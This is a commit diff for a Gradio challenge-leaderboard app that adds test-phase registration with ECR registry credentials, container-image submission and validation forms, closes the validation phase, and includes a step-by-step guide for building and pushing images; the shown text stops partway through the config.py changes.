Harry Tran commited on
Commit
36ccdb3
·
1 Parent(s): 25f29c7

update test phase: registration, submission and the validation close

Browse files
app.py CHANGED
@@ -15,9 +15,11 @@ import html
15
  import gradio as gr
16
 
17
  import config
 
18
  import results
19
  import submissions
20
  import submit
 
21
 
22
  # Cache the results DataFrame so filter changes don't re-download; refresh reloads.
23
  _RESULTS_CACHE: dict = {}
@@ -126,9 +128,11 @@ The validation set ground-truth annotations are **publicly available** within th
126
 
127
  Final prize allocation is determined exclusively through evaluation on a **held-out test split**, which will remain private.
128
 
129
- **Submission Process:** Upon conclusion of the Validation Phase, top-ranking teams will be invited to submit a **self-contained deployment package** (encompassing model weights and inference code) rather than a pre-computed predictions file.
130
 
131
- **Evaluation Process:** Organizers will independently execute these packages on the private test dataset within a controlled, standardized environment. Inference runs under the official resource limits — the **300-second per-query** generation limit (inference only) and a compute ceiling of **16 nodes × 8 H100 (80 GB each) = 128 GPUs total** — and **parameter counts are verified** to ensure strict adherence to the declared division. Only the test scores generated by the organizers determine final standings and award distribution.
 
 
132
  """
133
 
134
  # (heading prefix, anchor id, sidebar label) — drives both the injected anchors
@@ -304,8 +308,10 @@ _CONVQA_SUBMIT_HELP = (
304
  )
305
 
306
 
307
- def submit_tab():
308
- gr.Markdown("## Submit predictions Validation phase")
 
 
309
  gr.Markdown(
310
  "We are currently in the **Validation phase**. Upload your model's "
311
  "**`predictions.jsonl`** plus the identity / parameter fields below. "
@@ -348,8 +354,16 @@ def submit_tab():
348
  )
349
 
350
  with gr.Row(elem_classes="submit-row"):
 
 
 
351
  validate_btn = gr.Button("Validate format (no submit)", scale=0)
352
- btn = gr.Button("Submit", variant="primary", scale=0)
 
 
 
 
 
353
  out = gr.Markdown()
354
 
355
  # Dry-run validation: no sign-in, no upload, no daily-quota cost.
@@ -370,35 +384,555 @@ def submit_tab():
370
  )
371
 
372
 
373
- def _iframe(phase, open_only, force=False):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
374
  """Render the phase's leaderboard as a style-isolated <iframe srcdoc>."""
375
- doc = results.board_document(_results_df(force), phase, open_only)
376
  return (f'<iframe title="{phase} leaderboard" srcdoc="{html.escape(doc)}" '
377
  f'scrolling="no" '
378
  f'style="width:100%;border:0;display:block;min-height:200px"></iframe>')
379
 
380
 
381
- def _phase_board(phase: str, interval: int, show_toggle: bool = True):
382
- """Auto-refreshing iframe for one phase, with an optional open-weight toggle."""
 
 
 
 
 
 
 
383
  open_only = gr.Checkbox(value=False, label="Open-weight only") if show_toggle else None
384
  board = gr.HTML(elem_classes="lb-frame")
385
  if open_only is not None:
386
- open_only.change(lambda o: _iframe(phase, o), inputs=open_only, outputs=board)
387
- demo.load(lambda o: _iframe(phase, o, force=True), inputs=open_only, outputs=board)
388
- gr.Timer(interval).tick(lambda o: _iframe(phase, o, force=True),
389
- inputs=open_only, outputs=board)
 
 
 
 
390
  else:
391
- demo.load(lambda: _iframe(phase, False, force=True), outputs=board)
392
- gr.Timer(interval).tick(lambda: _iframe(phase, False, force=True),
393
- outputs=board)
 
 
 
394
 
395
 
396
  def leaderboard_tab():
 
 
397
  with gr.Tabs(elem_classes="phase-tabs"):
398
- with gr.Tab("Validation"):
399
- _phase_board("val", 60, show_toggle=False)
400
  with gr.Tab("Test"):
401
- _phase_board("test", 120, show_toggle=False)
 
 
 
 
 
 
 
402
 
403
 
404
  def _subs_iframe(profile: gr.OAuthProfile | None):
@@ -573,6 +1107,8 @@ html { scrollbar-gutter: stable; }
573
  border-radius: 12px !important; padding: 12px 16px !important; margin: 6px 0 10px !important;
574
  }
575
  .gradio-container .convqa-judge-box .md { color: #6b4e00 !important; }
 
 
576
  /* Right-align the Submit button. */
577
  .gradio-container .submit-row { justify-content: flex-end !important; }
578
  /* Tighten the Submit form too (Leaderboard stays wide). */
 
15
  import gradio as gr
16
 
17
  import config
18
+ import register_test
19
  import results
20
  import submissions
21
  import submit
22
+ import submit_test
23
 
24
  # Cache the results DataFrame so filter changes don't re-download; refresh reloads.
25
  _RESULTS_CACHE: dict = {}
 
128
 
129
  Final prize allocation is determined exclusively through evaluation on a **held-out test split**, which will remain private.
130
 
131
+ **Submission Process:** Upon conclusion of the Validation Phase, top-ranking teams will be invited to submit a **container image** (encompassing model weights and inference code) rather than a pre-computed predictions file. Building and uploading an image is unlimited; registering one for evaluation is limited to **3 per team per sub-track** for the whole phase. Shortlisted teams collect their registry credentials from the Submit tab when the window opens.
132
 
133
+ **Full step-by-step instructions are on the Submit tab, under Test.**
134
+
135
+ **Evaluation Process:** Organizers will independently execute these packages on the private test dataset within a controlled, standardized environment. Inference runs under the official resource limits — the **300-second per-query** generation limit (inference only), and a compute ceiling of **16 nodes × 8 H100 (80 GB each) = 128 GPUs total**. We provide up to 16 nodes, and your model must still fit on one: the 16 nodes are there to get through the test split faster, the queries are divided between them and **each node runs its own full, independent copy of your image**, so the budget for a single copy is one node, 8 × H100 80 GB. We do not shard one model across nodes. If yours genuinely needs more than one node to hold a single copy, write to the organizers **before you build**: that requires a custom image and our agreement, and it is not something we can arrange after a submission arrives. **Parameter counts are verified** to ensure strict adherence to the declared division. Only the test scores generated by the organizers determine final standings and award distribution.
136
  """
137
 
138
  # (heading prefix, anchor id, sidebar label) — drives both the injected anchors
 
308
  )
309
 
310
 
311
+ def val_submit_tab():
312
+ gr.Markdown("## Submit predictions, Validation phase")
313
+ if not config.VAL_PHASE_OPEN:
314
+ gr.Markdown(config.VAL_CLOSED_NOTICE, elem_classes="phase-closed")
315
  gr.Markdown(
316
  "We are currently in the **Validation phase**. Upload your model's "
317
  "**`predictions.jsonl`** plus the identity / parameter fields below. "
 
354
  )
355
 
356
  with gr.Row(elem_classes="submit-row"):
357
+ # Format checking stays available with the phase closed: it costs
358
+ # nothing, writes nothing, and is useful to a team preparing a test
359
+ # phase image.
360
  validate_btn = gr.Button("Validate format (no submit)", scale=0)
361
+ btn = gr.Button(
362
+ "Submit" if config.VAL_PHASE_OPEN else "Submissions closed",
363
+ variant="primary" if config.VAL_PHASE_OPEN else "secondary",
364
+ scale=0,
365
+ interactive=config.VAL_PHASE_OPEN,
366
+ )
367
  out = gr.Markdown()
368
 
369
  # Dry-run validation: no sign-in, no upload, no daily-quota cost.
 
384
  )
385
 
386
 
387
+ def do_test_submit(
388
+ profile: gr.OAuthProfile | None,
389
+ track, division, team_name, model_name, license_str, open_weight,
390
+ total_params_b, active_params_b, image_ref, image_digest,
391
+ ):
392
+ if profile is None:
393
+ return "⚠️ Please sign in with Hugging Face first."
394
+ if total_params_b in (None, "") or active_params_b in (None, ""):
395
+ return "⚠️ Enter total and active params (in billions)."
396
+ if not (license_str or "").strip():
397
+ return "⚠️ Select or enter a model license."
398
+
399
+ ok, msg = submit_test.validate_and_submit(
400
+ hf_user=profile.username,
401
+ track=track,
402
+ division=division,
403
+ team_name=team_name,
404
+ model_name=model_name,
405
+ license_str=license_str,
406
+ open_weight=bool(open_weight),
407
+ total_params=_b_to_int(total_params_b),
408
+ active_params=_b_to_int(active_params_b),
409
+ image_ref=image_ref,
410
+ image_digest=image_digest,
411
+ token=config.HF_TOKEN,
412
+ )
413
+ return msg
414
+
415
+
416
+ def _signed_in_as(profile: gr.OAuthProfile | None):
417
+ """Fill the read-only account box from the OAuth session.
418
+
419
+ Shown rather than typed: the account is the one thing on this form a
420
+ participant cannot choose, and it is half of the pair we match against the
421
+ validation submissions, so seeing it removes a whole class of "why am I
422
+ being refused" confusion.
423
+ """
424
+ return profile.username if profile else ""
425
+
426
+
427
+ def do_test_register(
428
+ profile: gr.OAuthProfile | None,
429
+ team_name,
430
+ track,
431
+ division,
432
+ members,
433
+ poc,
434
+ model_name,
435
+ total_params_b,
436
+ ):
437
+ """Test-phase registration for ONE sub-track.
438
+
439
+ Sign-in is checked here rather than inside register_test so the module stays
440
+ free of gradio and can be unit-tested; `profile.username` is the only thing
441
+ the Space knows that a participant cannot type.
442
+ """
443
+ if profile is None:
444
+ return "⚠️ Please sign in with Hugging Face first."
445
+
446
+ from huggingface_hub import HfApi
447
+
448
+ ok, msg = register_test.issue(
449
+ HfApi(token=config.HF_TOKEN),
450
+ hf_user=profile.username,
451
+ team_name=team_name or "",
452
+ track=track,
453
+ division=division,
454
+ members=members or "",
455
+ poc=poc or "",
456
+ model_name=model_name or "",
457
+ total_params_b=total_params_b,
458
+ )
459
+ return msg if ok else f"❌ {msg}"
460
+
461
+
462
+ def do_test_validate(track, division, total_params_b, active_params_b, image_ref, image_digest):
463
+ """Dry run: the same validators a real registration applies, but nothing is
464
+ written and no submission slot is spent. No sign-in required."""
465
+ if total_params_b in (None, "") or active_params_b in (None, ""):
466
+ return "⚠️ Enter total and active params (in billions) to check the division cap."
467
+
468
+ ok, msg = submit_test.validate_only(
469
+ track=track,
470
+ division=division,
471
+ total_params=_b_to_int(total_params_b),
472
+ active_params=_b_to_int(active_params_b),
473
+ image_ref=image_ref,
474
+ image_digest=image_digest,
475
+ )
476
+ if ok:
477
+ return f"✅ {msg}\n\n_Nothing was registered — this was a format check only._"
478
+ return f"❌ {msg}"
479
+
480
+
481
+ _TEST_GUIDE_MD = """
482
+ ### Step 1 — Register your team
483
+
484
+ Use the **Step 1** form below. Sign in with the Hugging Face account your team competed
485
+ under in the Validation Phase, enter the same team name, and declare your model's total
486
+ parameter count including any frozen backbone. If your team is on the shortlist, the page
487
+ shows your registry credentials immediately. There is no invitation email.
488
+
489
+ You get two things:
490
+
491
+ - an **access key ID and secret** for a registry account created for your team
492
+ - your **repository URI**: `<ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>`
493
+
494
+ You do **not** need an AWS account. These credentials are an identity inside the
495
+ organizers' account: no signup, no billing relationship, nothing to agree to. Your
496
+ repository is private and no other team can read it.
497
+
498
+ ### Step 2 — Build your image
499
+
500
+ Everything you need is in the challenge dataset repo under
501
+ [`starter_kit/test_phase/`](https://huggingface.co/datasets/facebook/wearable-ai/tree/main/starter_kit/test_phase):
502
+ a `Containerfile`, `build_image.sh`, `validate_image.sh`, and a README with the
503
+ full walkthrough. You need **podman or docker**; nothing else.
504
+
505
+ ```bash
506
+ git clone https://huggingface.co/datasets/facebook/wearable-ai
507
+ cd wearable-ai/starter_kit/test_phase
508
+ ```
509
+
510
+ The `Containerfile` already carries the evaluation stack (CUDA 12.8, Python 3.10,
511
+ PyTorch 2.10.0, vLLM 0.19.1) and the starter kit. **Edit only the marked extension
512
+ block at the bottom**, where you do two things:
513
+
514
+ 1. **Bake your weights into `/models`**, for example
515
+ `COPY my_weights/ /models/my_model/`. Weights must be in the image: evaluation
516
+ nodes cannot reach your storage, and downloading at run time counts against
517
+ your 300-second per-query budget.
518
+ 2. **Register your model class** in `model.py`'s `MODEL_REGISTRY`, then select it
519
+ with `--model-type <your_key>`.
520
+
521
+ Then build and check it:
522
+
523
+ ```bash
524
+ ./build_image.sh --tag my-team:v1
525
+ ./validate_image.sh my-team:v1
526
+ ```
527
+
528
+ `validate_image.sh` is the **same script we run when your image arrives**, so a
529
+ pass here is a pass at intake. On the template before you add anything, 11 of the
530
+ 12 checks pass and the failure is `/models is non-empty`, which is what your
531
+ weights fix.
532
+
533
+ Three things will fail your submission outright: an image **without `bash`**
534
+ (a `distroless`, `busybox` or `-slim` base dies at exit 127 with no output),
535
+ **hardcoded dataset paths** (we pass `--video-folder`, `--golden` and
536
+ `--predictions` at evaluation time), and relying on **`ENTRYPOINT`** (the runtime
537
+ invokes `run_evaluation.py` directly and ignores it).
538
+
539
+ ### Step 3 — Upload your image
540
+
541
+ You will need **Docker (or Podman)** and the **`aws` CLI**. The CLI is used only to mint
542
+ a registry login token.
543
+
544
+ ```bash
545
+ export AWS_ACCESS_KEY_ID=... # from Step 1
546
+ export AWS_SECRET_ACCESS_KEY=...
547
+
548
+ aws ecr get-login-password --region us-east-2 \
549
+ | docker login --username AWS --password-stdin <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com
550
+
551
+ docker tag <your-local-image> <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>:v1
552
+ docker push <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>:v1
553
+ ```
554
+
555
+ The login token lasts 12 hours. A large push can take longer, so if the upload is
556
+ interrupted, re-run the `get-login-password` line and then `docker push` again:
557
+ completed layers are skipped and the upload resumes.
558
+
559
+ Use a **new tag for each build** (`:v1`, `:v2`, ...). Tags are immutable, so an existing
560
+ tag cannot be overwritten.
561
+
562
+ **Uploading is unlimited and costs you nothing.** Nothing is evaluated until step 4.
563
+
564
+ ### Step 4 — Submit for evaluation
565
+
566
+ Fill in the form below. **This is the capped step: 3 submissions per team per sub-track**
567
+ for the entire Test Phase. A sub-track is one track in one division, so entering both
568
+ Small and Large in the same track gives you three in each. Queued and completed
569
+ submissions both count; ones we refuse before running do not.
570
+
571
+ Because uploading is free and submitting is not: if you are unsure which of two builds is
572
+ stronger, upload both and submit only the one you want scored.
573
+
574
+ We evaluate the exact image recorded at registration. A later push to the same repository
575
+ does **not** change a submission already made — submit again if you want the newer image
576
+ evaluated. Use **Validate format (no submit)** to check your fields without spending one.
577
+
578
+ ### After you submit
579
+
580
+ Keep your image in place until your submission shows as scored. **Parameter counts are
581
+ verified** against your declared division. Track state in **My Submissions**.
582
+
583
+ Inference runs under the official limits:
584
+
585
+ | Limit | Value |
586
+ | --- | --- |
587
+ | Time per generation / turn | 300 s |
588
+ | GPUs one copy of your model may use | 8 x H100 80 GB on a single node, 640 GB |
589
+ | Evaluation parallelism | up to 16 nodes, run by the organizers |
590
+
591
+ Exceeding the per-turn timeout aborts that turn and scores it as empty.
592
+
593
+ **We provide up to 16 nodes, and your model must still fit on one.** The 16 nodes
594
+ are there to get through the test split faster: the queries are divided between
595
+ them and **each node runs its own full, independent copy of your image**. So the
596
+ budget for a single copy is one node, 8 x H100 80 GB. We do not shard one model
597
+ across nodes. If yours genuinely needs more than one node to hold a single copy,
598
+ write to the organizers **before you build**: that requires a custom image and
599
+ our agreement, and it is not something we can arrange after a submission arrives.
600
+
601
+ Nothing about the node count is baked into your image, so you can build and test
602
+ on whatever you have — one GPU is fine. Resolve the GPU count at run time rather
603
+ than hardcoding it: `run_evaluation.py --num-gpus` is passed to your model, and
604
+ with no value it uses every GPU it can see.
605
+
606
+ ### Troubleshooting
607
+
608
+ **`denied: requested access to the resource is denied`** — your login token has expired
609
+ (they last 12 hours), or the tag does not match your assigned repository.
610
+
611
+ **The push keeps restarting** — your image likely has one very large layer. Split the
612
+ weights across several `COPY` instructions and rebuild.
613
+
614
+ **A push to an existing tag is rejected** — tags are immutable. Use a new tag.
615
+
616
+ **Image far larger than expected** — check for build caches, `.git` directories, duplicate weight files
617
+ and package-manager caches left in the final layers.
618
+
619
+ **Anything else** — contact the organizers with your team name and the exact command
620
+ output. Never share your access key.
621
+ """
622
+
623
+
624
+ _TEST_IMAGE_HELP = (
625
+ "**Pushing your image.** Build it from "
626
+ "[`starter_kit/test_phase/`](https://huggingface.co/datasets/facebook/wearable-ai/tree/main/starter_kit/test_phase) "
627
+ "in the challenge dataset repo (see Step 2), then push to the ECR repository "
628
+ "issued to your team in Step 1 and paste the reference `docker push` printed, "
629
+ "repository and digest together as `<repo>@sha256:...`. We score that exact "
630
+ "digest, so a later push to the same repository does not change what is "
631
+ "scored: submit again if you want the newer image evaluated.\n\n"
632
+ "**Image size:** keep it under **{advertised} GB** compressed, which is the "
633
+ "size `docker push` reports. If your model genuinely needs more, contact the "
634
+ "organizers before you build rather than after."
635
+ ).format(advertised=config.TEST_IMAGE_ADVERTISED_GB)
636
+
637
+
638
+
639
+ def _guide_slice(start: str, end: str | None) -> str:
640
+ """One section of _TEST_GUIDE_MD, so each step accordion shows only its own.
641
+
642
+ The guide stays the single source; these are views on it. Both ends are
643
+ asserted, because a mistyped heading would slice to nothing and render as an
644
+ empty accordion rather than failing.
645
+ """
646
+ i = _TEST_GUIDE_MD.index(start)
647
+ j = _TEST_GUIDE_MD.index(end) if end else len(_TEST_GUIDE_MD)
648
+ out = _TEST_GUIDE_MD[i:j].strip()
649
+ assert len(out) > 100, f"guide slice {start!r} is suspiciously short"
650
+ return out
651
+
652
+
653
+ # Steps 2 and 3 own building and uploading, and the troubleshooting is entirely
654
+ # about pushing, so it belongs with them rather than in a section of its own.
655
+ _TEST_BUILD_UPLOAD_MD = (
656
+ _guide_slice("### Step 2", "### Step 4")
657
+ + "\n\n"
658
+ + _guide_slice("### Troubleshooting", None)
659
+ )
660
+
661
+ # Step 4 owns submitting and what happens afterwards.
662
+ _TEST_SUBMIT_MD = _guide_slice("### Step 4", "### Troubleshooting")
663
+
664
+
665
+ def test_register_section():
666
+ """Step 1: a shortlisted team collects its registry credentials.
667
+
668
+ Laid out to mirror Step 4 below: the same three bands of who you are, which
669
+ sub-track, and which model, so the two forms read as one flow rather than
670
+ two unrelated pages.
671
+ """
672
+ with gr.Accordion(
673
+ "Step 1 — Register your team and collect your registry credentials",
674
+ open=config.TEST_PHASE_OPEN,
675
+ ):
676
+ gr.Markdown(
677
+ "Registration replaces the invitation email, and it is **per "
678
+ "sub-track**: a sub-track is one track in one division, and because "
679
+ "the divisions are parameter bands, a team entered in both is "
680
+ "bringing two different models. Register once for each seat you "
681
+ "hold and declare that model's size each time.\n\n"
682
+ "Your team name must match your validation submissions **exactly** — "
683
+ "that pairing is how we know the account belongs to the team. "
684
+ "Re-registering is fine and shows the same credentials again; there "
685
+ "is one repository per team, whichever sub-track you register."
686
+ )
687
+ with gr.Row():
688
+ reg_user = gr.Textbox(
689
+ label="Hugging Face account",
690
+ interactive=False,
691
+ info="From your sign-in; cannot be edited.",
692
+ )
693
+ reg_team = gr.Textbox(
694
+ label="Team name",
695
+ placeholder="Exactly as on the Validation leaderboard",
696
+ info="Must match your validation submissions.",
697
+ )
698
+ with gr.Row():
699
+ reg_members = gr.Textbox(
700
+ label="Team members — one per line, as `Name, email`",
701
+ lines=4,
702
+ placeholder="Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org",
703
+ info="Everyone on the team. Used for the certificate and for "
704
+ "contacting you about the phase.",
705
+ )
706
+ reg_poc = gr.Textbox(
707
+ label="Your email address, you are the main point of contact",
708
+ placeholder="ada@example.com",
709
+ info="Just the address, not `Name, email`. Must be one of the "
710
+ "members above. You are signed in, so your account is the "
711
+ "contact of record; this is where we write.",
712
+ )
713
+ with gr.Row():
714
+ reg_track = gr.Radio(
715
+ config.TEST_TRACKS,
716
+ label="Track",
717
+ value=config.TEST_TRACKS[0],
718
+ info="Register once per seat you hold.",
719
+ )
720
+ reg_division = gr.Radio(
721
+ config.DIVISIONS,
722
+ label="Division",
723
+ value="large",
724
+ info="By total params: Small ≤ 2B, Large 2B+.",
725
+ )
726
+ with gr.Row():
727
+ reg_model = gr.Textbox(
728
+ label="Model name",
729
+ placeholder="e.g. MyModel-2B",
730
+ info="Does not have to be the model you entered at validation.",
731
+ )
732
+ reg_params = gr.Number(
733
+ label="Total params (billions)",
734
+ value=None,
735
+ minimum=0,
736
+ info="For THIS sub-track, including any frozen backbone. Must "
737
+ "match the division.",
738
+ )
739
+ with gr.Row(elem_classes="submit-row"):
740
+ reg_btn = gr.Button(
741
+ "Register and show my credentials",
742
+ variant="primary",
743
+ scale=0,
744
+ interactive=config.TEST_PHASE_OPEN,
745
+ )
746
+ reg_out = gr.Markdown()
747
+ reg_btn.click(
748
+ do_test_register,
749
+ inputs=[
750
+ reg_team, reg_track, reg_division, reg_members, reg_poc,
751
+ reg_model, reg_params,
752
+ ],
753
+ outputs=reg_out,
754
+ # One at a time: each disclosure appends a ledger row, and two
755
+ # concurrent claims from one team would write two rows for one event.
756
+ concurrency_limit=1,
757
+ )
758
+ # Populate the account box on load, so it is filled before the participant
759
+ # touches anything rather than after a failed submit.
760
+ demo.load(_signed_in_as, inputs=None, outputs=reg_user)
761
+
762
+
763
+ def test_submit_tab():
764
+ gr.Markdown("## Test phase")
765
+ gr.Markdown(
766
+ "The test split is held out, so you do not submit predictions: you submit a "
767
+ "**container image**, and the organizers run it against the test data on "
768
+ "their own hardware. **Open weights are required.**\n\n"
769
+ "Four steps, below. The first three are unlimited; only Step 4 spends one of "
770
+ f"your **{config.MAX_TEST_SUBMISSIONS_PER_TRACK} submissions per team per "
771
+ "sub-track**."
772
+ )
773
+ if not config.TEST_PHASE_OPEN:
774
+ gr.Markdown(
775
+ "**The test phase is not open yet.** These forms are here so you can "
776
+ "see what will be asked for. When the window opens, shortlisted teams "
777
+ "collect their registry credentials from Step 1 — there is no "
778
+ "invitation email to wait for."
779
+ )
780
+ # One sign-in for the whole tab. Both forms need it and it is the same
781
+ # session; two buttons on one page read as two different logins.
782
+ with gr.Row():
783
+ gr.LoginButton(scale=0)
784
+
785
+ test_register_section()
786
+
787
+ with gr.Accordion("Steps 2 and 3 — Build your image, then upload it", open=False):
788
+ gr.Markdown(_TEST_BUILD_UPLOAD_MD)
789
+
790
+ with gr.Accordion(
791
+ "Step 4 — Submit an image for evaluation", open=config.TEST_PHASE_OPEN
792
+ ):
793
+ gr.Markdown(
794
+ "This is the capped step. Push your image to the ECR repository issued "
795
+ "in Step 1, then register its digest here. Queued and completed "
796
+ "submissions both count against the cap; ones we refuse before running "
797
+ "do not. Use **Validate format** to check your fields without spending "
798
+ "one.\n\n"
799
+ "We score the exact digest you register, so a later push to the same "
800
+ "repository does not change a submission already made."
801
+ )
802
+ with gr.Accordion("Details", open=False):
803
+ gr.Markdown(_TEST_SUBMIT_MD)
804
+ with gr.Row():
805
+ track = gr.Radio(config.TEST_TRACKS, label="Track", value="convqa",
806
+ info="Which task this image is for.")
807
+ division = gr.Radio(config.DIVISIONS, label="Division", value="large",
808
+ info="By total params: Small ≤ 2B, Large 2B+.")
809
+ with gr.Row():
810
+ team_name = gr.Textbox(label="Team name", placeholder="Shown on the board")
811
+ model_name = gr.Textbox(label="Model name", placeholder="e.g. MyModel-2B")
812
+ with gr.Row():
813
+ license_str = gr.Dropdown(
814
+ LICENSE_CHOICES, label="Model license — pick one or type your own",
815
+ value=None, allow_custom_value=True,
816
+ info="Not in the list? Type your license and press Enter.")
817
+ open_weight = gr.Checkbox(
818
+ label="Open weights", value=True, interactive=False,
819
+ info="Required in the test phase — closed-source entries are not eligible.")
820
+ with gr.Row():
821
+ total_params_b = gr.Number(label="Total params (billions)", value=None,
822
+ minimum=0)
823
+ active_params_b = gr.Number(label="Active params (billions)", value=None,
824
+ minimum=0)
825
+
826
+ with gr.Group(elem_classes="convqa-judge-box"):
827
+ gr.Markdown(_TEST_IMAGE_HELP)
828
+
829
+ # One field, full width. A digest is 64 hex characters and a repository
830
+ # URI is long, so side-by-side truncates both, and a truncated digest is
831
+ # one a participant cannot check.
832
+ image_ref = gr.Textbox(
833
+ label="Image reference",
834
+ placeholder=(
835
+ "123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/"
836
+ "your-team@sha256:" + "0" * 64
837
+ ),
838
+ info=(
839
+ "Your repository plus the digest, as `<repo>@sha256:...`. Copy it "
840
+ "from what `docker push` printed."
841
+ if not config.TEST_ACCEPT_IMAGE_TAG
842
+ else "Your repository plus the tag you pushed (`<repo>:v1`) or the "
843
+ "digest (`<repo>@sha256:...`)."
844
+ ),
845
+ )
846
+ # Kept so a participant following older instructions, which asked for the
847
+ # digest separately, is not turned away. Hidden: the reference above takes
848
+ # both parts now.
849
+ image_digest = gr.Textbox(label="Image digest", visible=False, value="")
850
+
851
+ with gr.Row(elem_classes="submit-row"):
852
+ validate_btn = gr.Button("Validate format (no submit)", scale=0)
853
+ btn = gr.Button("Submit for evaluation", variant="primary", scale=0,
854
+ interactive=config.TEST_PHASE_OPEN)
855
+ out = gr.Markdown()
856
+
857
+ validate_btn.click(
858
+ do_test_validate,
859
+ inputs=[track, division, total_params_b, active_params_b, image_ref,
860
+ image_digest],
861
+ outputs=out,
862
+ )
863
+ btn.click(
864
+ do_test_submit,
865
+ inputs=[
866
+ track, division, team_name, model_name, license_str, open_weight,
867
+ total_params_b, active_params_b, image_ref, image_digest,
868
+ ],
869
+ outputs=out,
870
+ # Serialize so the per-track cap check cannot be raced by one team firing
871
+ # two registrations at once. The worker enforces the cap again anyway.
872
+ concurrency_limit=1,
873
+ )
874
+
875
+
876
+ def submit_tab():
877
+ # Same order as the Leaderboard tab, and for the same reason: the test
878
+ # phase is the live one now.
879
+ with gr.Tabs(elem_classes="phase-tabs"):
880
+ with gr.Tab("Test"):
881
+ test_submit_tab()
882
+ with gr.Tab("Validation"):
883
+ val_submit_tab()
884
+
885
+
886
+ def _iframe(phase, open_only, force=False, refresh_s=None):
887
  """Render the phase's leaderboard as a style-isolated <iframe srcdoc>."""
888
+ doc = results.board_document(_results_df(force), phase, open_only, refresh_s)
889
  return (f'<iframe title="{phase} leaderboard" srcdoc="{html.escape(doc)}" '
890
  f'scrolling="no" '
891
  f'style="width:100%;border:0;display:block;min-height:200px"></iframe>')
892
 
893
 
894
+ def _phase_board(phase: str, interval: int | None, show_toggle: bool = True):
895
+ """Iframe for one phase, with an optional open-weight toggle.
896
+
897
+ interval=None means no timer at all, for a phase that is closed: a frozen
898
+ board re-fetching every minute burns the Space's quota redrawing bytes that
899
+ cannot have changed, and refreshes a timestamp that no longer means
900
+ anything. The same value drives the footer, so what is advertised is what
901
+ was set.
902
+ """
903
  open_only = gr.Checkbox(value=False, label="Open-weight only") if show_toggle else None
904
  board = gr.HTML(elem_classes="lb-frame")
905
  if open_only is not None:
906
+ open_only.change(lambda o: _iframe(phase, o, refresh_s=interval),
907
+ inputs=open_only, outputs=board)
908
+ demo.load(lambda o: _iframe(phase, o, force=True, refresh_s=interval),
909
+ inputs=open_only, outputs=board)
910
+ if interval:
911
+ gr.Timer(interval).tick(
912
+ lambda o: _iframe(phase, o, force=True, refresh_s=interval),
913
+ inputs=open_only, outputs=board)
914
  else:
915
+ demo.load(lambda: _iframe(phase, False, force=True, refresh_s=interval),
916
+ outputs=board)
917
+ if interval:
918
+ gr.Timer(interval).tick(
919
+ lambda: _iframe(phase, False, force=True, refresh_s=interval),
920
+ outputs=board)
921
 
922
 
923
  def leaderboard_tab():
924
+ # Test first, so it sits left and is the sub-tab Gradio opens on: Gradio
925
+ # selects the first child, so the ordering is the whole mechanism.
926
  with gr.Tabs(elem_classes="phase-tabs"):
 
 
927
  with gr.Tab("Test"):
928
+ _phase_board("test", 300, show_toggle=False)
929
+ with gr.Tab("Validation"):
930
+ # Inside the sub-tab, not above it: the Test board is not closed,
931
+ # and a banner over both would say it was.
932
+ if not config.VAL_PHASE_OPEN:
933
+ gr.Markdown(config.VAL_CLOSED_NOTICE, elem_classes="phase-closed")
934
+ # No timer: the validation phase is closed, so the board is final.
935
+ _phase_board("val", None, show_toggle=False)
936
 
937
 
938
  def _subs_iframe(profile: gr.OAuthProfile | None):
 
1107
  border-radius: 12px !important; padding: 12px 16px !important; margin: 6px 0 10px !important;
1108
  }
1109
  .gradio-container .convqa-judge-box .md { color: #6b4e00 !important; }
1110
+ .phase-closed{background:#fff4e5;border-left:4px solid #e8912d;
1111
+ padding:10px 14px;border-radius:4px;margin:6px 0 14px}
1112
  /* Right-align the Submit button. */
1113
  .gradio-container .submit-row { justify-content: flex-end !important; }
1114
  /* Tighten the Submit form too (Leaderboard stays wide). */
config.py CHANGED
@@ -23,6 +23,22 @@ PHASE = "val" # validation phase; test phase reuses these schemas later.
23
 
24
  TRACKS = ["convqa", "longqa", "proactive"]
25
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
26
  # Pretty names for the UI.
27
  TRACK_LABELS = {
28
  "convqa": "EgoConv",
@@ -45,6 +61,112 @@ DIVISION_CAPS = {
45
